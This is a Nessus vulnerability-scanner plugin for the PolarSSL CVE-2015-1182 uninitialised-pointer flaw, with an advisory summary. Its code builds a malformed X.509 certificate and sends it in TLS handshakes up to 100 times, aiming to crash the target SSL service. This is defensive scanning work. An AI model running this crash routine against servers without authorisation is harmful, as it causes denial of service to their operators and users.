CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
EPSS
Percentile
92.3%
PolarSSL contains a flaw when parsing ASN.1 sequences from X.509 certificates due to freeing an uninitialized pointer by the function ‘asn1_get_sequence_of’ within file ‘asn1parse.c’. An unauthenticated, remote attacker, using a specially crafted certificate, can exploit this flaw to cause a denial of service or execute arbitrary code.
This plugin sends client certificates with an X.509 Extended Key Usage extension that contains a malformed key purpose OID. PolarSSL allocates a ‘asn1_sequence’ structure to store the OID. For this plugin to work, the following conditions must be met :
(1) The ‘next’ field of the allocated ‘asn_sequence’ structure for the malformed key purpose OID must be non-zero.
(2) The SSL server requests a client certificate.
#TRUSTED 739d5c8b6980b4702b6688841b7749579492abf4a1a1e6387efb68d9c082c072f140412c1bc15ffa3f86b3cc823b7b3bc5c7750332e7c2131d314e2824ce453e1d9b7fbabb481bc90e849a74ad5be56f28b77c71e0931f31c93ef93e0ff12da95d2f5527cbf2b4f5b3ddf8a86817a2025b7e90cdd1745f5f8af3f09a65c337489ba8736b8aab47293887aebdb336824e930ea4a29684e63624450278209637719fa52f94ef99f15e8804c1dd23cf5382f90df85ecceabc60a56d6e46f00c9b697963ca0351f5e7f8d34ec843dca6878494d1923b3ae76eee81e31bcb4381eabb0e427901b1e31905a771adf4d0ab1b8dc0e1281c0b60711a13288986ab353caa2d373f910997ae11b99667d0ecb46ff689cc110882f7c15cf3f9f2a9505218880861b01e76e422717df98b77a572f18a335781c654b116b99cdb3410d7918602cf7c8226bc7583cd6bb0c44eb57f3e693677745a421b70c12d53471063ebefcb4c089a599fe6e396b244aa2473ebc975eb9081c21b1d682ce5dcdcbf37e47f9d40ab2572b5b20f491d188cb4eb1d96e7a7271addf63268178c49bbad44fa5d07c877ea8983c5d9df668fa864cd30910900bd53d86a86a696675a4a46ec39f925ab35de2baee53f00d3aec2b0fe83c878e683d9e23486a4d7288a80333dd76f1756a773f2f80a1571b3d57817ab13e67d8c6e7a7ef83c668300db6a3ed61d6e7a
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(81047);
script_version("1.21");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2015-1182");
script_name(english:"PolarSSL 'asn1_get_sequence_of' Function Uninitialized Pointer RCE");
script_set_attribute(attribute:"synopsis", value:
"The remote SSL server is vulnerable to remote code execution.");
script_set_attribute(attribute:"description", value:
"PolarSSL contains a flaw when parsing ASN.1 sequences from X.509
certificates due to freeing an uninitialized pointer by the function
'asn1_get_sequence_of' within file 'asn1parse.c'. An unauthenticated,
remote attacker, using a specially crafted certificate, can exploit
this flaw to cause a denial of service or execute arbitrary code.
This plugin sends client certificates with an X.509 Extended Key Usage
extension that contains a malformed key purpose OID. PolarSSL
allocates a 'asn1_sequence' structure to store the OID. For this
plugin to work, the following conditions must be met :
- (1) The 'next' field of the allocated 'asn_sequence'
structure for the malformed key purpose OID must be
non-zero.
- (2) The SSL server requests a client certificate.");
# https://polarssl.org/tech-updates/security-advisories/polarssl-security-advisory-2014-04
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8e6caee6");
script_set_attribute(attribute:"see_also", value:"https://www.certifiedsecure.com/polarssl-advisory/");
script_set_attribute(attribute:"solution", value:
"Follow the instructions in the vendor advisory.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2015-1182");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"vuln_publication_date", value:"2015/01/19");
script_set_attribute(attribute:"patch_publication_date", value:"2015/01/19");
script_set_attribute(attribute:"plugin_publication_date", value:"2015/01/28");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:polarssl:polarssl");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_DESTRUCTIVE_ATTACK);
script_family(english:"General");
script_copyright(english:"This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("ssl_supported_ciphers.nasl");
script_require_keys("SSL/Supported");
script_timeout(1800);
exit(0);
}
include("byte_func.inc");
include("ftp_func.inc");
include("global_settings.inc");
include("der_funcs.inc");
include("ldap_func.inc");
include("misc_func.inc");
include("nntp_func.inc");
include("smtp_func.inc");
include("ssl_funcs.inc");
include("telnet2_func.inc");
##
#
# Create an X509 certificate extension
#
# @param oid extentions OID
# @param crit whether the extension is to be critical
# @param value extension value (DER-encoded)
# @return DER-encoded extension or NULL on error
# @remark
#
# Extension ::= SEQUENCE {
# extnID OBJECT IDENTIFIER,
# critical BOOLEAN DEFAULT FALSE,
# extnValue OCTET STRING
# -- contains the DER encoding of an ASN.1 value
# -- corresponding to the extension type identified
# -- by extnID
# }
##
function x509_ext(oid, crit, value)
{
local_var ext;
oid = der_encode_oid(oid:oid);
crit = der_encode(tag:0x01, data:raw_string(crit));
value = der_encode_octet_string (string: value);
if(isnull(oid) || isnull(crit) || isnull(value))
return NULL;
ext = oid + crit + value;
ext = der_encode (tag:0x30, data:ext);
return ext;
}
##
#
# Create a x509 certificate with an Extended Key Usage extension
#
# @param kp_cnt number of key purpose OIDs in the Extented Key Usage extension
# @param bad whether to append a malformed key purpose OID to the end of the
# Extended Key Usage exension
# @return an x509 certificate
# @remark
# - The output certificate type is RSA
# - Most fields are hardcoded
# - The certificate need not to be verifiable
#
##
function my_cert(kp_cnt,bad)
{
local_var cert, issuer, serial, sig, sig_alg_id, version;
local_var pubkey_info, subject, tbs, validity;
local_var alg, exts, ext_eku, eku, i, kp, pubkey;
# version [0] EXPLICIT Version DEFAULT v1,
# Version ::= INTEGER { v1(0), v2(1), v3(2) }
version = der_encode(tag:2, data:raw_string(2));
version = der_encode(tag:0xa0, data: version);
# serialNumber CertificateSerialNumber,
# CertificateSerialNumber ::= INTEGER
serial = raw_string(0x00, 0xba, 0xdc, 0xbb, 0xc3, 0xdb, 0x90, 0xdf);
serial = der_encode(tag:2, data: serial);
# signatureAlgorithm AlgorithmIdentifier,
# AlgorithmIdentifier ::= SEQUENCE {
# algorithm OBJECT IDENTIFIER,
# parameters ANY DEFINED BY algorithm OPTIONAL }
#
#
# PolarSSL (1.3.9) supports the following SignatureAlgorithmIdentifier (oid.c):
# md2WithRSAEncryption
# md4WithRSAEncryption
# md5WithRSAEncryption
# sha1WithRSAEncryption
# sha224WithRSAEncryption
# sha256WithRSAEncryption
# sha384WithRSAEncryption
# sha512WithRSAEncryption
# ecdsa-with-SHA1
# ecdsa-with-SHA224
# ecdsa-with-SHA256
# ecdsa-with-SHA384
# ecdsa-with-SHA512
# RSASSA-PSS
#
# use sha1WithRSAEncryption to cover more PolarSSL versions as
# older versions may not support ecdsa-based SignatureAlgorithmIdentifier
sig_alg_id = der_encode_oid(oid:"1.2.840.113549.1.1.5");
sig_alg_id = der_encode(tag:0x30, data: sig_alg_id);
# issuer Name,
#
# Name ::= CHOICE { -- only one possibility for now --
# rdnSequence RDNSequence }
#
# RDNSequence ::= SEQUENCE OF RelativeDistinguishedName
#
# RelativeDistinguishedName ::=
# SET SIZE (1..MAX) OF AttributeTypeAndValue
#
# AttributeTypeAndValue ::= SEQUENCE {
# type AttributeType,
# value AttributeValue }
#
# AttributeType ::= OBJECT IDENTIFIER
#
# AttributeValue ::= ANY -- DEFINED BY AttributeType
#
# DirectoryString ::= CHOICE {
# teletexString TeletexString (SIZE (1..MAX)),
# printableString PrintableString (SIZE (1..MAX)),
# universalString UniversalString (SIZE (1..MAX)),
# utf8String UTF8String (SIZE (1..MAX)),
# bmpString BMPString (SIZE (1..MAX)) }
issuer = raw_string(
0x30, 0x4f,
0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
0x06, 0x13, 0x02, 0x55, 0x53,
0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
0x08, 0x0c, 0x02, 0x4d, 0x44,
0x31, 0x15, 0x30, 0x13, 0x06, 0x03, 0x55, 0x04,
0x07, 0x0c, 0x0c, 0x44, 0x65, 0x66, 0x61, 0x75,
0x6c, 0x74, 0x20, 0x43, 0x69, 0x74, 0x79,
0x31, 0x1c, 0x30, 0x1a, 0x06, 0x03, 0x55, 0x04,
0x0a, 0x0c, 0x13, 0x44, 0x65, 0x66, 0x61, 0x75,
0x6c, 0x74, 0x20, 0x43, 0x6f, 0x6d, 0x70, 0x61,
0x6e, 0x79, 0x20, 0x4c, 0x74, 0x64
);
# Validity ::= SEQUENCE {
# notBefore Time,
# notAfter Time }
#
# Time ::= CHOICE {
# utcTime UTCTime,
# generalTime GeneralizedTime }
validity = raw_string(
0x30, 0x1e,
0x17, 0x0d, 0x31, 0x35, 0x30, 0x31, 0x32, 0x30,
0x32, 0x33, 0x33, 0x33, 0x32, 0x34, 0x5a, 0x17,
0x0d, 0x32, 0x35, 0x30, 0x31, 0x31, 0x37, 0x32,
0x33, 0x33, 0x33, 0x32, 0x34, 0x5a
);
# subject Name
subject = raw_string(
0x30, 0x4f,
0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x0b, 0x30,
0x09, 0x06, 0x03, 0x55, 0x04, 0x08, 0x0c, 0x02,
0x4d, 0x44, 0x31, 0x15, 0x30, 0x13, 0x06, 0x03,
0x55, 0x04, 0x07, 0x0c, 0x0c, 0x44, 0x65, 0x66,
0x61, 0x75, 0x6c, 0x74, 0x20, 0x43, 0x69, 0x74,
0x79, 0x31, 0x1c, 0x30, 0x1a, 0x06, 0x03, 0x55,
0x04, 0x0a, 0x0c, 0x13, 0x44, 0x65, 0x66, 0x61,
0x75, 0x6c, 0x74, 0x20, 0x43, 0x6f, 0x6d, 0x70,
0x61, 0x6e, 0x79, 0x20, 0x4c, 0x74, 0x64
);
# SubjectPublicKeyInfo ::= SEQUENCE {
# algorithm AlgorithmIdentifier,
# subjectPublicKey BIT STRING }
#
# AlgorithmIdentifier ::= SEQUENCE {
# algorithm OBJECT IDENTIFIER,
# parameters ANY DEFINED BY algorithm OPTIONAL }
# rsaEncryption
alg = der_encode_oid(oid:"1.2.840.113549.1.1.1");
alg = der_encode(tag:0x30, data:alg);
# RFC 3447
#
# RSAPublicKey ::= SEQUENCE {
# modulus INTEGER, -- n
# publicExponent INTEGER -- e
# }
#
# NOTE: n and e must to be a odd number
pubkey = der_encode(tag:2,data:crap(data:'A',length:64)) +
der_encode(tag:2,data:'\x01\x00\x01') ;
pubkey = der_encode(tag:0x30, data:pubkey);
pubkey = '\x00' + pubkey; # no padding bits
pubkey = der_encode(tag:3, data:pubkey);
pubkey_info = der_encode(tag:0x30, data: alg + pubkey);
# ExtKeyUsageSyntax ::= SEQUENCE SIZE (1..MAX) OF KeyPurposeId
#
# KeyPurposeId ::= OBJECT IDENTIFIER
#
if (! kp_cnt) kp_cnt = 1; # mininum one valid key purpose OID
kp = NULL;
for(i = 0; i < kp_cnt; i++)
{
# timeStamping
kp += der_encode_oid(oid:"1.3.6.1.5.5.7.3.8");
}
if(bad)
{
# Malformed timeStamping key purpose OID
kp += raw_string(
#0x06, 0x08, # Correct length for the OID
0x06, 0x7f, # Invalid length for the OID
0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08
);
}
eku = der_encode(tag:0x30, data: kp);
ext_eku = x509_ext(oid:"2.5.29.37", crit:1, value: eku);
#Extensions ::= SEQUENCE SIZE (1..MAX) OF Extension
exts = der_encode(tag:0x30, data: ext_eku);
#extensions [3] EXPLICIT Extensions OPTIONAL
exts = der_encode(tag:0xa3, data: exts);
tbs = version +
serial +
sig_alg_id +
issuer +
validity +
subject +
pubkey_info +
# skip optional fields:
# issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL,
# subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL,
exts;
tbs = der_encode(tag:0x30, data:tbs);
# signatureValue BIT STRING
sig = crap(data:'S', length:64);
sig = '\x00' + sig; # no padding bits
sig = der_encode(tag:3, data:sig);
cert = tbs +
sig_alg_id +
sig;
cert = der_encode(tag:0x30, data:cert);
return cert;
}
function attack(port, kp_cnt)
{
local_var ciphersuites, cspeclen, exts, exts_len, version;
local_var alert, chello, clt_cert_req, hellodone, shello;
local_var cert, cipher, data, i, list, msg, rec, soc;
# Create a socket for SSL handshake
soc = open_sock_ssl(port);
if ( ! soc ) exit(1, "Failed to open an SSL socket on port "+port+".");
# Use TLS version 1.2, allow downgrade
version = TLS_12;
# Use detected cipher suites.
list = get_kb_list("SSL/Ciphers/" + port);
if(list) list = make_list(list);
else list = keys(ciphers);
ciphersuites = NULL;
exts = NULL;
foreach cipher (list)
{
if(strlen(ciphers[cipher]) == 2)
{
ciphersuites += ciphers[cipher];
if(tls_is_ec_cipher(cipher) && isnull(exts))
{
# We need to include EC extensions because it seems PolarSSL server
# will abort the handshake if a EC-based cipher suite is negotiated
# but a EC extension is not offered by the client.
exts = tls_ext_ec() + tls_ext_ec_pt_fmt();
}
# Do not specify more than 128 cipher suites, as some older
# PolarSSL versions don't support it.
if(strlen(ciphersuites) >= 254) break;
}
}
# Send ClientHello
msg =
mkword(version) + # Client version
dec2hex(num:unixtime()) + # Challenge, epoch portion
rand_str(length:28) + # Challenge, random portion
ssl_vldata_put(data:'', len:1) + # Session ID
ssl_vldata_put(data:ciphersuites, len:2) + # Cipher suites
ssl_vldata_put(data:'\x00', len:1); # Compression spec
if(exts) msg += ssl_vldata_put(data:exts, len:2); # Extensions
msg = ssl_mk_handshake_msg(data:msg, type:SSL3_HANDSHAKE_TYPE_CLIENT_HELLO);
chello = ssl_mk_record(type:SSL3_CONTENT_TYPE_HANDSHAKE, data:msg, version:TLS_10);
send(socket:soc, data: chello);
hellodone = shello = clt_cert_req = NULL;
i = 0;
while (! hellodone)
{
# Receive a record from the server.
data = recv_ssl(socket:soc, timeout:30);
if (isnull(data)) break;
# ServerHello
if(! shello)
{
shello = ssl_find(
blob:data,
'content_type', SSL3_CONTENT_TYPE_HANDSHAKE,
'handshake_type', SSL3_HANDSHAKE_TYPE_SERVER_HELLO
);
if (shello)
{
# Check handshake version returned by the server
# If TLS 1.2 not supported, use a lower version
if (shello['handshake_version'] != TLS_12)
{
if (shello['handshake_version'] >= SSL_V3)
{
version = shello['handshake_version'];
}
else
{
close(soc);
exit(0, 'The service listening on port ' + port + ' does not support SSLv3 or above.' );
}
}
}
else
{
alert = ssl_find(
blob:data,
'content_type', SSL3_CONTENT_TYPE_ALERT
);
if(alert)
{
close(soc);
exit(1, 'Alert received from service listening on port '+ port +': level '+ alert['level'] + ', description code ' + alert['description'] + ', Nessus could not procdeed with the vulnerablity check.');
}
}
}
# Client Certificate Request
if(! clt_cert_req)
{
clt_cert_req = ssl_find(
blob:data,
'content_type', SSL3_CONTENT_TYPE_HANDSHAKE,
'handshake_type',SSL3_HANDSHAKE_TYPE_CERTIFICATE_REQUEST
);
}
# Server Hello Done.
if(! hellodone)
{
hellodone = ssl_find(
blob:data,
'content_type', SSL3_CONTENT_TYPE_HANDSHAKE,
'handshake_type', SSL3_HANDSHAKE_TYPE_SERVER_HELLO_DONE
);
if(hellodone) break;
}
# ServerHelloDone not seen after a higher number of SSL records
# Something is very wrong
if(i++ > 16) break;
}
# Make sure we got a ServerHelloDone
if(! hellodone)
{
close(soc);
exit(1, 'ServerHelloDone not received from service listening on port '+ port +'.');
}
# We cannot send a client cert if not asked by the server
if(! clt_cert_req)
{
close(soc);
exit(1, 'The service listening on port '+ port +' did not ask for a client certificate.');
}
cert = my_cert(kp_cnt: kp_cnt, bad:TRUE);
if(isnull(cert))
{
close(soc);
exit(1, 'Failed to create a bad certificate to send to SSL server listening on '+ port +'.');
}
msg = ssl_vldata_put(data:cert, len:3); # cert
msg = ssl_vldata_put(data: msg, len:3); # cert chain
msg = ssl_mk_handshake_msg(
type : SSL3_HANDSHAKE_TYPE_CERTIFICATE,
data : msg
);
rec = ssl_mk_record(type:SSL3_CONTENT_TYPE_HANDSHAKE, data:msg, version:version);
send(socket: soc, data: rec);
usleep(100);
close(soc);
}
#
# MAIN
#
# Get an SSL port
port = get_ssl_ports(fork:TRUE);
if (isnull(port))
exit(0, "The host does not appear to have any SSL-based services.");
# Attempt to crash remote SSL server
for(i = 1; i <= 100; i++)
{
attack(port:port, kp_cnt: i);
if(service_is_dead(port:port) == 1)
{
extra = 'Crash at attempt ' + i + '.';
security_hole(port:port, extra: extra);
exit(0);
}
# If service is not dead, cannot tell it's vulnerable
}